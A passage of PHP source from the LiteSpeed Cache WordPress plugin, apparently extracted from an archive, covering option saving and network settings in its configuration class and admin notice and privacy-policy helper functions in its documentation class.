); } /** * Is a new installation */ if ( ! $ver || Core::VER !== $ver ) { // Load default values $this->load_default_site_vals(); // Init new default/missing options foreach ( self::$_default_site_options as $k => $v ) { // If the option existed, bypass updating self::add_site_option( $k, $v ); } } } /** * Get the plugin's site wide options. * * If the site wide options are not set yet, set it to default. * * @since 1.0.2 * @access public * @return null|void */ public function load_site_options() { if ( ! is_multisite() ) { return null; } // Load all site options foreach ( self::$_default_site_options as $k => $v ) { $val = self::get_site_option( $k, $v ); $val = $this->type_casting( $val, $k, true ); $this->set_network_conf( $k, $val ); } } /** * Append a 3rd party option to default options * * This will not be affected by network use primary site setting. * * NOTE: If it is a multi switch option, need to call `_conf_multi_switch()` first * * @since 3.0 * @access public * * @param string $name Option name. * @param mixed $default_val Default value. * @return void */ public function option_append( $name, $default_val ) { self::$_default_options[ $name ] = $default_val; $this->set_conf( $name, self::get_option( $name, $default_val ) ); $this->set_conf( $name, $this->type_casting( $this->conf( $name ), $name ) ); } /** * Force an option to a certain value * * @since 2.6 * @access public * * @param string $k Option key. * @param mixed $v Option value. * @return void */ public function force_option( $k, $v ) { if ( ! $this->has_conf( $k ) ) { return; } $v = $this->type_casting( $v, $k ); if ( $this->conf( $k ) === $v ) { return; } // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_var_export Debug2::debug( '[Conf] ** ' . $k . ' forced from ' . var_export( $this->conf( $k ), true ) . ' to ' . var_export( $v, true ) ); $this->set_conf( $k, $v ); } /** * Define `_CACHE` const in options ( for both single and network ) * * @since 3.0 * @access public * @return void */ public function define_cache() { // Init global const cache on setting $this->set_conf( self::_CACHE, false ); if ( self::VAL_ON === (int) $this->conf( self::O_CACHE ) || $this->conf( self::O_CDN_QUIC ) ) { $this->set_conf( self::_CACHE, true ); } // Check network if ( ! $this->_if_need_site_options() ) { // Set cache on $this->_define_cache_on(); return; } // If use network setting if ( self::VAL_ON2 === (int) $this->conf( self::O_CACHE ) && $this->network_conf( self::O_CACHE ) ) { $this->set_conf( self::_CACHE, true ); } $this->_define_cache_on(); } /** * Define `LITESPEED_ON` * * @since 2.1 * @access private * @return void */ private function _define_cache_on() { if ( ! $this->conf( self::_CACHE ) ) { return; } if ( defined( 'LITESPEED_ALLOWED' ) && ! defined( 'LITESPEED_ON' ) ) { define( 'LITESPEED_ON', true ); } } /** * Save option * * @since 3.0 * @access public * * @param array $the_matrix Option-value map. * @return void */ public function update_confs( $the_matrix = [] ) { if ( $the_matrix ) { foreach ( $the_matrix as $id => $val ) { $this->update( $id, $val ); } } if ( $this->_updated_ids ) { foreach ( $this->_updated_ids as $id ) { // Check if need to do a purge all or not if ( $this->_conf_purge_all( $id ) ) { Purge::purge_all( 'conf changed [id] ' . $id ); } // Check if need to purge a tag $tag = $this->_conf_purge_tag( $id ); if ( $tag ) { Purge::add( $tag ); } // Update cron if ( $this->_conf_cron( $id ) ) { $this->cls( 'Task' )->try_clean( $id ); } // Reset crawler bypassed list when any of the options WebP replace, guest mode, or cache mobile got changed if ( self::O_IMG_OPTM_WEBP === $id || self::O_GUEST === $id || self::O_CACHE_MOBILE === $id ) { $this->cls( 'Crawler' )->clear_disabled_list(); } } } do_action( 'litespeed_update_confs', $the_matrix ); // Update related tables $this->cls( 'Data' )->correct_tb_existence(); // Update related files $this->cls( 'Activation' )->update_files(); /** * CDN related actions - Cloudflare */ $this->cls( 'CDN\Cloudflare' )->try_refresh_zone(); // If Server IP changed, must test echo if ( in_array( self::O_SERVER_IP, $this->_updated_ids, true ) ) { $this->cls( 'Cloud' )->init_qc_cli(); } // CDN related actions - QUIC.cloud $this->cls( 'CDN\Quic' )->try_sync_conf(); } /** * Save option * * Note: this is direct save, won't trigger corresponding file update or data sync. To save settings normally, always use `Conf->update_confs()` * * @since 3.0 * @access public * * @param string $id Option ID. * @param mixed $val Option value. * @return void */ public function update( $id, $val ) { // Bypassed this bcos $this->_options could be changed by force_option() // if ( $this->_options[ $id ] === $val ) { // return; // } if ( self::_VER === $id ) { return; } if ( self::O_SERVER_IP === $id ) { if ( $val && ! Utility::valid_ipv4( $val ) ) { $msg = sprintf( __( 'Saving option failed. IPv4 only for %s.', 'litespeed-cache' ), Lang::title( Base::O_SERVER_IP ) ); Admin_Display::error( $msg ); return; } } if ( ! array_key_exists( $id, self::$_default_options ) ) { if ( defined( 'LSCWP_LOG' ) ) { Debug2::debug( '[Conf] Invalid option ID ' . $id ); } return; } if ( $val && $this->_conf_pswd( $id ) && ! preg_match( '/[^\*]/', (string) $val ) ) { return; } // Special handler for CDN Original URLs if ( self::O_CDN_ORI === $id && ! $val ) { $site_url = site_url( '/' ); $parsed = wp_parse_url( $site_url ); if ( !empty( $parsed['scheme'] ) ) { $site_url = str_replace( $parsed['scheme'] . ':', '', $site_url ); } $val = $site_url; } // Validate type $val = $this->type_casting( $val, $id ); // Save data self::update_option( $id, $val ); // Handle purge if setting changed if ( $this->conf( $id ) !== $val ) { $this->_updated_ids[] = $id; // Check if need to fire a purge or not (Here has to stay inside `update()` bcos need comparing old value) if ( $this->_conf_purge( $id ) ) { $old = (array) $this->conf( $id ); $new = (array) $val; $diff = array_merge( array_diff( $new, $old ), array_diff( $old, $new ) ); // If has difference foreach ( $diff as $v ) { $v = ltrim( (string) $v, '^' ); $v = rtrim( (string) $v, '$' ); $this->cls( 'Purge' )->purge_url( $v ); } } } // Update in-memory data $this->set_conf( $id, $val ); } /** * Save network option * * @since 3.0 * @access public * * @param string $id Option ID. * @param mixed $val Option value. * @return void */ public function network_update( $id, $val ) { if ( ! array_key_exists( $id, self::$_default_site_options ) ) { if ( defined( 'LSCWP_LOG' ) ) { Debug2::debug( '[Conf] Invalid network option ID ' . $id ); } return; } if ( $val && $this->_conf_pswd( $id ) && ! preg_match( '/[^\*]/', (string) $val ) ) { return; } // Validate type if ( is_bool( self::$_default_site_options[ $id ] ) ) { $max = $this->_conf_multi_switch( $id ); if ( $max && $val > 1 ) { $val %= ( $max + 1 ); } else { $val = (bool) $val; } } elseif ( is_array( self::$_default_site_options[ $id ] ) ) { // from textarea input if ( ! is_array( $val ) ) { $val = Utility::sanitize_lines( $val, $this->_conf_filter( $id ) ); } } elseif ( ! is_string( self::$_default_site_options[ $id ] ) ) { $val = (int) $val; } else { // Check if the string has a limit set $val = $this->_conf_string_val( $id, $val ); } // Save data self::update_site_option( $id, $val ); // Handle purge if setting changed if ( $this->network_conf( $id ) !== $val ) { // Check if need to do a purge all or not if ( $this->_conf_purge_all( $id ) ) { Purge::purge_all( '[Conf] Network conf changed [id] ' . $id ); } // Update in-memory data $this->set_network_conf( $id, $val ); } // No need to update cron here, Cron will register in each init if ( $this->has_conf( $id ) ) { $this->set_conf( $id, $val ); } } /** * Check if one user role is in exclude optimization group settings * * @since 1.6 * @access public * * @param string|null $role The user role. * @return string|false The set value if already set, otherwise false. */ public function in_optm_exc_roles( $role = null ) { // Get user role if ( null === $role ) { $role = Router::get_role(); } if ( ! $role ) { return false; } $roles = explode( ',', $role ); $found = array_intersect( $roles, $this->conf( self::O_OPTM_EXC_ROLES ) ); return $found ? implode( ',', $found ) : false; } /** * Set one config value directly * * @since 2.9 * @access private * @return void */ private function _set_conf() { /** * NOTE: For URL Query String setting, * 1. If append lines to an array setting e.g. `cache-force_uri`, use `set[cache-force_uri][]=the_url`. * 2. If replace the array setting with one line, use `set[cache-force_uri]=the_url`. * 3. If replace the array setting with multi lines value, use 2 then 1. */ // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput $raw = !empty( $_GET[ self::TYPE_SET ] ) ? $_GET[ self::TYPE_SET ] : false; if ( !$raw || ! is_array( $raw ) ) { return; } // Sanitize the incoming matrix. $the_matrix = []; foreach ( $raw as $id => $v ) { if ( ! $this->has_conf( $id ) ) { continue; } // Append new item to array type settings if ( is_array( $v ) && is_array( $this->conf( $id ) ) ) { $v = array_merge( $this->conf( $id ), $v ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_var_export Debug2::debug( '[Conf] Appended to settings [' . $id . ']: ' . var_export( $v, true ) ); } else { // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_var_export Debug2::debug( '[Conf] Set setting [' . $id . ']: ' . var_export( $v, true ) ); } $the_matrix[ $id ] = $v; } if ( !$the_matrix ) { return; } $this->update_confs( $the_matrix ); $msg = __( 'Changed setting successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); // Redirect if changed frontend URL // phpcs:ignore WordPress.Security.NonceVerification.Recommended $redirect = ! empty( $_GET['redirect'] ) ? sanitize_text_field( wp_unslash( $_GET['redirect'] ) ) : ''; if ( $redirect ) { wp_safe_redirect( $redirect ); exit; } } /** * Handle all request actions from main cls * * @since 2.9 * @access public * @return void */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_SET: $this->_set_conf(); break; default: break; } Admin::redirect(); } } doc.cls.php000064400000012711152077520300006605 0ustar00'; echo wp_kses_post( '⚠️ ' . sprintf( __( 'This setting is %1$s for certain qualifying requests due to %2$s!', 'litespeed-cache' ), '' . esc_html__( 'ON', 'litespeed-cache' ) . '', esc_html( Lang::title( Base::O_GUEST_OPTM ) ) ) ); self::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/general/#guest-optimization' ); echo ''; } /** * Warn that changes affect the crawler list. * * @since 4.3 * @return void */ public static function crawler_affected() { echo ''; echo '⚠️ ' . esc_html__( 'This setting will regenerate crawler list and clear the disabled list!', 'litespeed-cache' ); echo ''; } /** * Privacy policy text for front-end disclosure. * * @since 2.2.7 * * @return string Safe HTML string. */ public static function privacy_policy() { $text = esc_html__( 'This site utilizes caching in order to facilitate a faster response time and better user experience. Caching potentially stores a duplicate copy of every web page that is on display on this site. All cache files are temporary, and are never accessed by any third party, except as necessary to obtain technical support from the cache plugin vendor. Cache files expire on a schedule set by the site administrator, but may easily be purged by the admin before their natural expiration, if necessary. We may use QUIC.cloud services to process & cache your data temporarily.', 'litespeed-cache' ); $link = sprintf( /* translators: %s: QUIC.cloud privacy policy URL */ esc_html__( 'Please see %s for more details.', 'litespeed-cache' ), sprintf( '
      %1$s', esc_url( 'https://quic.cloud/privacy-policy/' ) ) ); // Return as HTML (link already escaped). return $text . ' ' . $link; } /** * Render (or return) a "Learn more" link. * * @since 2.4.2 * * @param string $url Destination URL. * @param string $title Optional link text. Defaults to "Learn More". * @param bool $self_tab Open in self tab or new tab (adds target/_blank + rel). * @param string $css_class CSS class for the anchor. * @param bool $return_output Return instead of echo. * @return string|void */ public static function learn_more( $url, $title = '', $self_tab = false, $css_class = '', $return_output = false ) { $css_class = $css_class ? $css_class : 'litespeed-learn-more'; $title = $title ? $title : esc_html__( 'Learn More', 'litespeed-cache' ); $target_rel = $self_tab ? '' : ' target="_blank" rel="noopener noreferrer"'; $anchor = sprintf( ' %s', esc_url( $url ), $target_rel, // Already hardcoded/safe. esc_attr( $css_class ), wp_kses_post( $title ) ); if ( $return_output ) { return $anchor; } echo wp_kses_post( $anchor ); } /** * Output "One per line." helper text. * * @since 3.0 * * @param bool $return_output Return the string instead of echoing. * @return string|void */ public static function one_per_line( $return_output = false ) { $str = esc_html__( 'One per line.', 'litespeed-cache' ); if ( $return_output ) { return $str; } echo esc_html( $str ); } /** * Output helper text about full/partial URL support. * * @since 3.4 * * @param bool $string_only If true, say "strings" only; otherwise specify URLs/strings. * @return void */ public static function full_or_partial_url( $string_only = false ) { if ( $string_only ) { echo esc_html__( 'Both full and partial strings can be used.', 'litespeed-cache' ); } else { echo esc_html__( 'Both full URLs and partial strings can be used.', 'litespeed-cache' ); } } /** * Notice that a setting will edit .htaccess. * * @since 3.0 * @return void */ public static function notice_htaccess() { echo ''; echo '⚠️ ' . esc_html__( 'This setting will edit the .htaccess file.', 'litespeed-cache' ) . ' '; self::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/toolbox/#edit-htaccess-tab' ); echo ''; } /** * Gentle reminder that QUIC.cloud queues are asynchronous. * * @since 5.3.1 * * @param bool $return_output Return the HTML instead of echoing. * @return string|void */ public static function queue_issues( $return_output = false ) { $link = self::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/troubleshoot/#quiccloud-queue-issues', '', false, '', true ); $html = sprintf( '
      %s %s
      ', esc_html__( 'The queue is processed asynchronously. It may take time.', 'litespeed-cache' ), $link // already escaped. ); if ( $return_output ) { return $html; } echo wp_kses_post( $html ); } }